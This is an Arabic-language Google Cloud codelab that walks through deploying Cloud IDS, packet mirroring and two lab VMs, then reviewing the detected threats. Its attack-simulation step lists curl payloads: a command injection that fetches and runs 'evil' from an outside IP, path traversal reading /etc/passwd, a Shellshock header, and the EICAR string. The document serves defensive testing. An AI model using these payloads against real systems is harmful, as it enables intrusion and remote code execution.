Cloud IDS

1. مقدمة

في هذا الدرس العملي، ستنشر Cloud IDS، وهي خدمة متقدّمة من الجيل التالي لرصد التسلّل توفّر ميزة رصد التهديدات من عمليات التسلّل والبرامج الضارة وبرامج التجسس وهجمات التحكّم والسيطرة. ستحاكي عدة هجمات وتطّلع على تفاصيل التهديدات في Cloud Console.

ما ستتعلمه

  • كيفية إنشاء نقطة نهاية Cloud IDS
  • كيفية إنشاء جهازَين افتراضيَين باستخدام أوامر gcloud
  • كيفية إنشاء سياسة نسخ حزمة البيانات
  • كيفية محاكاة حركة بيانات الهجوم من جهاز افتراضي
  • كيفية عرض تفاصيل التهديدات في Cloud Console وCloud Logging

المتطلبات

  • معرفة أوامر Linux الأساسية

2. حالات استخدام Cloud IDS

توفّر خدمة Cloud IDS خدمة كشف التسلل من الجيل التالي (IDS) من Google Cloud للعملاء بهدف تلبية متطلباتهم المتقدّمة في ما يتعلّق برصد التهديدات والامتثال، مثل PCI 11.4. تستند الخدمة إلى تقنيات الحماية من التهديدات من Palo Alto Networks لتوفير ميزة متقدّمة لرصد التسلّل. من خلال الجمع بين البنية التحتية ذات المستوى العالمي من Google Cloud والأمان ذي المستوى العالمي من Palo Alto Networks، يحصل العملاء على مزيج لا مثيل له من خدمة متكاملة الإدارة وعالية الأداء وفعّالة للغاية في رصد التهديدات المتقدّمة.

عندما ينقل العملاء بياناتهم إلى السحابة الإلكترونية، يكون الأمان أوّل ما يخطر في بالهم. ويريدون توفير عناصر تحكّم مماثلة في الأمان كما هو الحال في بيئة العمل المحلية، مثل خدمة رصد التطفّل (IDS) في السحابة الإلكترونية. ويفضّلون بشدة استخدام حلّ IDS مُدار ومتوافق مع السحابة الإلكترونية لتسهيل عملية النشر، وتحقيق أداء عالٍ، وخفض التكاليف مقارنةً بنشر حلّ أمان تابع لجهة خارجية وإدارة البنية التحتية أو إحضار توقيعاتهم الخاصة. توفّر خدمة نظام كشف التسلل (IDS) من Cloud المُدارة والمتكاملة والقابلة للتدرّج التلقائي في Google Cloud للعملاء إمكانية استغلال وقتهم في تحليل التهديدات وتخفيف الأثر، كما توفّر لهم الوقت والموارد اللازمة لإدارة البنية الأساسية أو توقيعات التهديدات.

يتم نشر نظام كشف التسلل المستند إلى السحابة الإلكترونية خارج النطاق ويمكنه رصد التهديدات والتنبيه بشأنها، ولكن لا يمكنه حظرها. تستفيد هذه الخدمة من ميزة "نسخ حزمة البيانات" في Google Cloud لإنشاء نسخة من حركة بيانات الشبكة يتم تحليلها باستخدام محرّك رصد التهديدات من Palo Alto Network.

3- بنية الدرس التطبيقي حول الترميز

5a276f399e1d31e2.png

الشكل 1: نظرة عامة على مستوى عالٍ حول بنية نشر Cloud IDS لهذا الدرس العملي

4. الإعداد والمتطلبات

إعداد البيئة بالسرعة التي تناسبك

  1. سجِّل الدخول إلى Google Cloud Console وأنشِئ مشروعًا جديدًا أو أعِد استخدام مشروع حالي. إذا لم يكن لديك حساب على Gmail أو Google Workspace، عليك إنشاء حساب.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • اسم المشروع هو الاسم المعروض للمشاركين في هذا المشروع. وهي سلسلة من الأحرف لا تستخدمها Google APIs، ويمكنك تعديلها في أي وقت.
  • يجب أن يكون رقم تعريف المشروع فريدًا في جميع مشاريع Google Cloud، كما أنّه غير قابل للتغيير (لا يمكن تغييره بعد ضبطه). تنشئ Cloud Console تلقائيًا سلسلة فريدة، ولا يهمّك عادةً ما هي. في معظم دروس الترميز، عليك الرجوع إلى رقم تعريف المشروع (ويتم تحديده عادةً على أنّه PROJECT_ID)، لذا إذا لم يعجبك، يمكنك إنشاء رقم آخر عشوائي، أو يمكنك تجربة رقمك الخاص ومعرفة ما إذا كان متاحًا. ثم يتم "تجميده" بعد إنشاء المشروع.
  • هناك قيمة ثالثة، وهي رقم المشروع الذي تستخدمه بعض واجهات برمجة التطبيقات. يمكنك الاطّلاع على مزيد من المعلومات عن كل هذه القيم الثلاث في المستندات.
  1. بعد ذلك، عليك تفعيل الفوترة في Cloud Console من أجل استخدام موارد/واجهات برمجة تطبيقات Cloud. لن تكلفك تجربة هذا الدرس التطبيقي حول الترميز الكثير من المال، إن لم تكلفك شيئًا على الإطلاق. لإيقاف الموارد كي لا يتم تحصيل رسوم منك بعد هذا الدرس التطبيقي حول الترميز، اتّبِع أي تعليمات "تنظيف" واردة في نهاية الدرس. يمكن لمستخدمي Google Cloud الجدد الاستفادة من برنامج الفترة التجريبية المجانية بقيمة 300 دولار أمريكي.

بدء Cloud Shell

على الرغم من إمكانية تشغيل Google Cloud عن بُعد من الكمبيوتر المحمول، ستستخدم في هذا الدرس العملي Google Cloud Shell، وهي بيئة سطر أوامر تعمل في السحابة الإلكترونية.

من وحدة تحكّم Google Cloud Platform، انقر على رمز Cloud Shell في شريط الأدوات العلوي الأيسر:

bce75f34b2c53987.png

لن يستغرق توفير البيئة والاتصال بها سوى بضع لحظات. عند الانتهاء، من المفترض أن يظهر لك ما يلي:

f6ef2b5f13479f3a.png

يتم تحميل هذه الآلة الافتراضية مزوّدة بكل أدوات التطوير التي ستحتاج إليها. توفّر هذه الخدمة دليلًا منزليًا ثابتًا بسعة 5 غيغابايت، وتعمل على Google Cloud، ما يؤدي إلى تحسين أداء الشبكة والمصادقة بشكل كبير. يمكن إكمال جميع المهام في هذا التمرين المعملي باستخدام متصفّح فقط.

5- قبل البدء

تفعيل واجهات برمجة التطبيقات

داخل Cloud Shell، تأكَّد من إعداد رقم تعريف مشروعك

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

تفعيل جميع الخدمات اللازمة

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. إنشاء شبكة VPC

شبكة السحابة الخاصة الافتراضية (VPC)

من Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

الشبكة الفرعية

من Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

الوصول الخاص إلى الخدمة

من Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connection

من Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

قواعد جدار الحماية

للسماح لميزة "الوصول إلى الأجهزة الافتراضية عبر الإنترنت" بالاتصال بأجهزة VM الافتراضية، أنشئ قاعدة جدار حماية تتضمّن ما يلي:

  • ينطبق على جميع مثيلات الأجهزة الافتراضية التي تريد إتاحتها باستخدام IAP.
  • تسمح هذه القاعدة بحركة البيانات الواردة من نطاق عناوين IP 35.235.240.0/20. يحتوي هذا النطاق على جميع عناوين IP التي تستخدمها خدمة IAP لإعادة توجيه بروتوكول TCP.

من Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

للسماح بمنفذ HTTP العادي (TCP 80) وبروتوكول ICMP للخادم، اتّبِع الخطوات التالية:

  • ينطبق على الموارد التي تحمل علامة الشبكة "server"
  • يسمح بالدخول من جميع المصادر

من Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

إنشاء مثيل Cloud NAT

Cloud Router

من Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

من Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. إنشاء نقطة نهاية Cloud IDS

في هذا القسم، ستنشئ نقطة نهاية Cloud IDS في us-east1، مع ضبط مستوى الخطورة على "معلومات". تستغرق عملية إنشاء نقطة نهاية نظام كشف التسلّل 20 دقيقة تقريبًا.

نقطة نهاية نظام كشف التسلل

من Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

التأكّد من بدء نقطة نهاية Cloud IDS

gcloud ids endpoints list --project=$PROJECT_ID

الناتج -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. إنشاء جهازَين افتراضيَّين

في هذا القسم، ستنشئ جهازَين افتراضيَّين. سيكون الخادم الأول هو خادم الويب الذي يتم نسخه إلى Cloud IDS. سيكون الجهاز الافتراضي الثاني هو مصدر زيارات الهجوم.

الجهاز الظاهري 1 (الخادم)

من Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

الجهاز الظاهري 2 (العميل)

من Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9- إعداد الخادم

في هذه المهمة، عليك التحقّق من صحة الخادم وتقديم حمولة برامج ضارة غير مؤذية للعميل.

تسجيل الدخول إلى الجهاز الظاهري من خلال Cloud Shell باستخدام بروتوكول النقل الآمن (SSH)

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

تأكيد أنّ خدمة الويب تعمل

sudo systemctl status nginx

الناتج - التحقّق من أنّ التطبيق نشط وقيد التشغيل

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

تغيير الدليل إلى خدمة الويب

cd /var/www/html/

إنشاء ملف برامج ضارة غير مؤذية على خادم الويب

sudo touch eicar.file

لصق المحتوى

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

الرجوع إلى CloudShell

exit

إنشاء سياسة نسخ مطابقة لحِزم Cloud IDS

حدِّد قاعدة إعادة توجيه نقطة نهاية نظام كشف التسلل (IDS) وتأكَّد من أنّ حالة نقطة نهاية نظام كشف التسلل هي "جاهزة".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

مثال على الناتج - نسخ القيمة من "endpointForwardingRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

احفظ قاعدة إعادة توجيه نقطة نهاية نظام كشف التسلّل إلى متغيّر.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

سياسة نسخ حزم البيانات

من Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

التأكّد من إنشاء سياسة نسخ حزم البيانات

من Cloud Shell

gcloud compute packet-mirrorings list

الناتج

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. محاكاة حركة المرور للهجمات

استخدام بروتوكول النقل الآمن (SSH) في الجهاز الافتراضي للمهاجم (العميل)

من Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

نفِّذ طلبات curl التالية لمحاكاة الزيارات الضارة.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

الخروج من الجهاز الافتراضي للعودة إلى Cloud Shell

exit

11. مراجعة التهديدات التي رصدها نظام Cloud IDS

الانتقال إلى لوحة بيانات Cloud IDS

قائمة التنقّل > أمان الشبكة > نظام كشف التسلل من Cloud‏ (Cloud IDS)

37583419aa604aa8.png

انتقِل إلى علامة التبويب "التهديدات".

b7d934f409b4e2b.png

كما ترى، رصدت خدمة Cloud IDS العديد من ملفات تعريف حركة البيانات الضارة وقدّمت تفاصيل عن كل تهديد. قد تحتاج إلى النقر على الزر "إعادة تحميل الصفحة" إذا لم تظهر لك أي تهديدات. سنتعمّق الآن قليلاً ونعرض تفاصيل التهديد.

ابحث عن تهديد "ثغرة تنفيذ التعليمات البرمجية عن بُعد في Bash" وانقر على النقاط الثلاث على اليمين، ثم اختَر "عرض تفاصيل التهديد".

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

سنعرض الآن تفاصيل هذا الحادث في Cloud Logging. ارجع إلى صفحة "التهديدات" من خلال النقر على السهم المتّجه لليسار .

انقر على النقاط الثلاث على اليسار واختَر "عرض سجلّات التهديدات".

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

يتم تقديم التفاصيل نفسها إلى Cloud Logging. يتيح لك ذلك إرسال السجلات إلى Cloud Storage أو Chronicle أو أي نظام SIEM/SOAR. يمكنك أيضًا إنشاء سير عمل مخصّص لاتّخاذ إجراءات تصدير البيانات الناقصة استنادًا إلى التنبيهات، مثل إنشاء دالة سحابية يتم تشغيلها عند تلقّي تنبيه وإنشاء/تعديل قاعدة جدار الحماية لحظر عنوان IP، أو إنشاء/تعديل سياسة Cloud Armor.

12. خطوات التنظيف

الخروج من مثيل الجهاز الافتراضي (جميع علامات التبويب)

exit

حذف مكوّنات المختبر من نافذة Cloud Shell واحدة

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. تهانينا!

تهانينا على إكمال هذا الدرس العملي.

المواضيع التي تناولناها

  • حالات استخدام Cloud IDS
  • متطلبات الشبكة
  • واجهات برمجة التطبيقات المتوافقة
  • تم إنشاء نقطة نهاية Cloud IDS
  • تم نشر جهازَين افتراضيَين
  • إنشاء بعض حركة المرور "للهجوم" من العميل
  • رصد نظام IDS تهديدات تم التحقّق منها
  • مراجعة تفاصيل التهديدات والسجلّات